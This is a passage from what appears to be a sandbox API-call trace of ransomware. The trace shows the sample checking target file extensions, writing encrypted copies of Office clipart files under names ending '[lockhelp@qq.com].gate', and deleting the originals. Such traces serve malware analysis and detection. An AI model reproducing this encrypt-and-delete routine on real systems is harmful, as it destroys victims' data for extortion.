hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0320.626] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.626] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.626] SetEndOfFile (hFile=0x38c) returned 1 [0320.626] CloseHandle (hObject=0x38c) returned 1 [0320.626] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.626] SetEndOfFile (hFile=0x374) returned 1 [0320.627] CloseHandle (hObject=0x374) returned 1 [0320.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0320.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.627] lstrlenW (lpString=".doc") returned 4 [0320.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.627] lstrlenW (lpString=".docx") returned 5 [0320.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.627] lstrlenW (lpString=".pdf") returned 4 [0320.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.628] lstrlenW (lpString=".xls") returned 4 [0320.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.628] lstrlenW (lpString=".xlsx") returned 5 [0320.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.629] lstrlenW (lpString=".ppt") returned 4 [0320.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.629] lstrlenW (lpString=".zip") returned 4 [0320.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.629] lstrlenW (lpString=".rar") returned 4 [0320.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.629] lstrlenW (lpString=".bz2") returned 4 [0320.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.629] lstrlenW (lpString=".7z") returned 3 [0320.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.629] lstrlenW (lpString=".dbf") returned 4 [0320.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.629] lstrlenW (lpString=".1cd") returned 4 [0320.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.629] lstrlenW (lpString=".jpg") returned 4 [0320.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.630] lstrlenW (lpString=".doc") returned 4 [0320.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.630] lstrlenW (lpString=".docx") returned 5 [0320.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.630] lstrlenW (lpString=".pdf") returned 4 [0320.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.630] lstrlenW (lpString=".xls") returned 4 [0320.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.630] lstrlenW (lpString=".xlsx") returned 5 [0320.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.630] lstrlenW (lpString=".ppt") returned 4 [0320.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.630] lstrlenW (lpString=".zip") returned 4 [0320.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.630] lstrlenW (lpString=".rar") returned 4 [0320.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.630] lstrlenW (lpString=".bz2") returned 4 [0320.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.630] lstrlenW (lpString=".7z") returned 3 [0320.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.630] lstrlenW (lpString=".dbf") returned 4 [0320.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.630] lstrlenW (lpString=".1cd") returned 4 [0320.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0320.631] lstrlenW (lpString=".jpg") returned 4 [0320.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.631] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.631] lstrlenW (lpString="AN02122_.WMF") returned 12 [0320.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.631] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=7540) returned 1 [0320.631] CloseHandle (hObject=0x374) returned 1 [0320.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0320.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.632] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.632] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.632] GetLastError () returned 0x0 [0320.632] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x1d74, lpOverlapped=0x0) returned 1 [0320.634] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x1d80, lpOverlapped=0x0) returned 1 [0320.635] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.635] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.635] SetEndOfFile (hFile=0x38c) returned 1 [0320.635] CloseHandle (hObject=0x38c) returned 1 [0320.635] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.635] SetEndOfFile (hFile=0x374) returned 1 [0320.636] CloseHandle (hObject=0x374) returned 1 [0320.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0320.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.637] lstrlenW (lpString=".doc") returned 4 [0320.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.637] lstrlenW (lpString=".docx") returned 5 [0320.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.637] lstrlenW (lpString=".pdf") returned 4 [0320.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.637] lstrlenW (lpString=".xls") returned 4 [0320.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.637] lstrlenW (lpString=".xlsx") returned 5 [0320.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.637] lstrlenW (lpString=".ppt") returned 4 [0320.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.637] lstrlenW (lpString=".zip") returned 4 [0320.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.637] lstrlenW (lpString=".rar") returned 4 [0320.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.637] lstrlenW (lpString=".bz2") returned 4 [0320.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.637] lstrlenW (lpString=".7z") returned 3 [0320.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.637] lstrlenW (lpString=".dbf") returned 4 [0320.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.638] lstrlenW (lpString=".1cd") returned 4 [0320.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.638] lstrlenW (lpString=".jpg") returned 4 [0320.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.638] lstrlenW (lpString=".doc") returned 4 [0320.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString=".docx") returned 5 [0320.638] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.638] lstrlenW (lpString=".pdf") returned 4 [0320.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString=".xls") returned 4 [0320.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.638] lstrlenW (lpString=".xlsx") returned 5 [0320.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.638] lstrlenW (lpString=".ppt") returned 4 [0320.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.638] lstrlenW (lpString=".zip") returned 4 [0320.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.638] lstrlenW (lpString=".rar") returned 4 [0320.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString=".bz2") returned 4 [0320.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.638] lstrlenW (lpString=".7z") returned 3 [0320.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.639] lstrlenW (lpString=".dbf") returned 4 [0320.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.639] lstrlenW (lpString=".1cd") returned 4 [0320.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0320.639] lstrlenW (lpString=".jpg") returned 4 [0320.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.639] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.639] lstrlenW (lpString="AN02559_.WMF") returned 12 [0320.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.639] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6632) returned 1 [0320.639] CloseHandle (hObject=0x374) returned 1 [0320.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0320.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.640] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.640] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.640] GetLastError () returned 0x0 [0320.640] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0320.641] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0320.642] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.642] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.642] SetEndOfFile (hFile=0x38c) returned 1 [0320.642] CloseHandle (hObject=0x38c) returned 1 [0320.642] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.642] SetEndOfFile (hFile=0x374) returned 1 [0320.643] CloseHandle (hObject=0x374) returned 1 [0320.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0320.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.644] lstrlenW (lpString=".doc") returned 4 [0320.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.644] lstrlenW (lpString=".docx") returned 5 [0320.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.644] lstrlenW (lpString=".pdf") returned 4 [0320.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.644] lstrlenW (lpString=".xls") returned 4 [0320.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.644] lstrlenW (lpString=".xlsx") returned 5 [0320.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.644] lstrlenW (lpString=".ppt") returned 4 [0320.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.644] lstrlenW (lpString=".zip") returned 4 [0320.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.644] lstrlenW (lpString=".rar") returned 4 [0320.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.644] lstrlenW (lpString=".bz2") returned 4 [0320.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString=".7z") returned 3 [0320.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.645] lstrlenW (lpString=".dbf") returned 4 [0320.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.645] lstrlenW (lpString=".1cd") returned 4 [0320.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.645] lstrlenW (lpString=".jpg") returned 4 [0320.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.645] lstrlenW (lpString=".doc") returned 4 [0320.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString=".docx") returned 5 [0320.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.645] lstrlenW (lpString=".pdf") returned 4 [0320.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString=".xls") returned 4 [0320.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.645] lstrlenW (lpString=".xlsx") returned 5 [0320.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.645] lstrlenW (lpString=".ppt") returned 4 [0320.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.645] lstrlenW (lpString=".zip") returned 4 [0320.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.645] lstrlenW (lpString=".rar") returned 4 [0320.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString=".bz2") returned 4 [0320.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.645] lstrlenW (lpString=".7z") returned 3 [0320.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.646] lstrlenW (lpString=".dbf") returned 4 [0320.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.646] lstrlenW (lpString=".1cd") returned 4 [0320.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0320.646] lstrlenW (lpString=".jpg") returned 4 [0320.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.646] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.646] lstrlenW (lpString="AN02724_.WMF") returned 12 [0320.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.646] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2108) returned 1 [0320.646] CloseHandle (hObject=0x374) returned 1 [0320.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0320.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.647] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.647] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.647] GetLastError () returned 0x0 [0320.647] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x83c, lpOverlapped=0x0) returned 1 [0320.648] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x840, lpOverlapped=0x0) returned 1 [0320.649] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.649] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, 